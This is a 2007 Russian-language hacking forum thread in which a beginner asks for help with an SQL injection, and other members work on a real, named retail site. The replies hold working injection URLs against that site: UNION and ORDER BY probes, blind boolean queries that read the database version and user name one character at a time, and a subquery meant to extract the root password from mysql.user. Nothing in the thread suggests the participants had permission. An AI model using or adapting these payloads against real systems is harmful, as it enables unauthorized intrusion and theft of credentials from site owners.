странный SQL-injection

Discussion in 'Уязвимости' started by fastnull, 22 Mar 2007.

Thread Status:
Not open for further replies.
  1. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Вообщем так, нашёл на сайте вроде бы явную sql-injection
    при вставке кавычки возвращает
    http://www.injection.com/?dept=62&pid=665'

    You have an error in your SQL syntax near '\'' at line 1

    Вставляю
    http://www.injection.com/?dept=62&pid=-999+union+select+1/*
    А отображается
    You have an error in your SQL syntax near 'union select 1/*' at line 1

    При проверке
    http://www.injection.com/?dept=62&pid=666-1
    Выдаёт страницу http://www.injection.com/?dept=62&pid=665
    Что бы я не вводил, выводится запрос в тексте после +union
    Что такое - не получается
    Я только учусь и надёюсь на ваш ценный совет!
     
    #1 fastnull, 22 Mar 2007
    Last edited: 22 Mar 2007
    1 person likes this.
  2. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    Полный линк на сайт в студию...
     
  3. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Пожалуйста! :)
    http://www.mykidsfair.com/?dept=62&pi=665
     
  4. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    ну тогда правильный линк
    http://www.mykidsfair.com/?dept=62&pid=665

    ;)
     
  5. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    вот это тоже интересно...
    http://www.mykidsfair.com/?dept=xxx
     
  6. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Круто! А я и не заметил, тогда сейчас попробую подобрать название колонки :)

    А что можно поиметь вот с этого сообщения

    http://www.mykidsfair.com/?dept=-999+union+select+1,2/*

    You have an error in your SQL syntax near 'union select 1,2/* AND page_class = 4' at line 1
    Что за параметр page_class = 4 ? :)
     
    #6 fastnull, 22 Mar 2007
    Last edited by a moderator: 22 Mar 2007
    1 person likes this.
  7. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    http://www.mykidsfair.com/?dept=62+order+by+13--

    на сайте стоит 3 версия мускула, это мы узнаем по 1 цифре след запроса
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(version(),1,1)))=51

    а потом вытягиваем USER()
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),1,1)))=99
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),2,1)))=106
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),3,1)))=104
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),4,1)))=97
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),5,1)))=114
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),6,1)))=109
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),7,1)))=97
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),8,1)))=110
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),9,1)))=64
    http://www.mykidsfair.com/?dept=62&pid=665+AND+ascii(lower(substring(user(),10,1)))=108

    в итоге получаем char() кодировку имени юзера
    99, 106, 104, 97, 114, 109, 97, 110, 64, 108(остановился на 108, так как по практике могу сказать что там идет localhost)

    ps мазахисты могут еще повытягивать......
     
    1 person likes this.
  8. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    в 3-м мускуле нету оператора union
     
  9. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Спасибо огромное всем!!! Просто я хакинг начал изучать только в начале декабре 2006 :)
     
  10. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    а толку от этой скули?
    можно узнать тока версию, юзера и название базы данных.
     
  11. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    теоритически можно узнать пароль юзера зная его логин. Так же нужно знать имя базы данных, таблицу и название колонки с паролем

    вот пример

    http://www.mykidsfair.com/?dept=62&pid=66+AND+ascii(lower(substring((select+password+from+mysql.user+WHERE+user=char(114,111,111,116)+LIMIT+1),1,1)))>1

    пароль берется из таблицы user находящ в базе mysql
    Но сдесь базы mysql походу нет, и запрос соответственно не верный
     
  12. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    >>теоритически можно узнать пароль юзера зная его логин. Так же нужно знать имя базы данных, таблицу и название колонки с паролем


    в 3 версии нельзя использовать вложенный select
     
    1 person likes this.
  13. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    киби спорить не буду, так как на практике не доводилось сталкиваться с 3 версией
    зы теперь буду знать, спасибо
     
Thread Status:
Not open for further replies.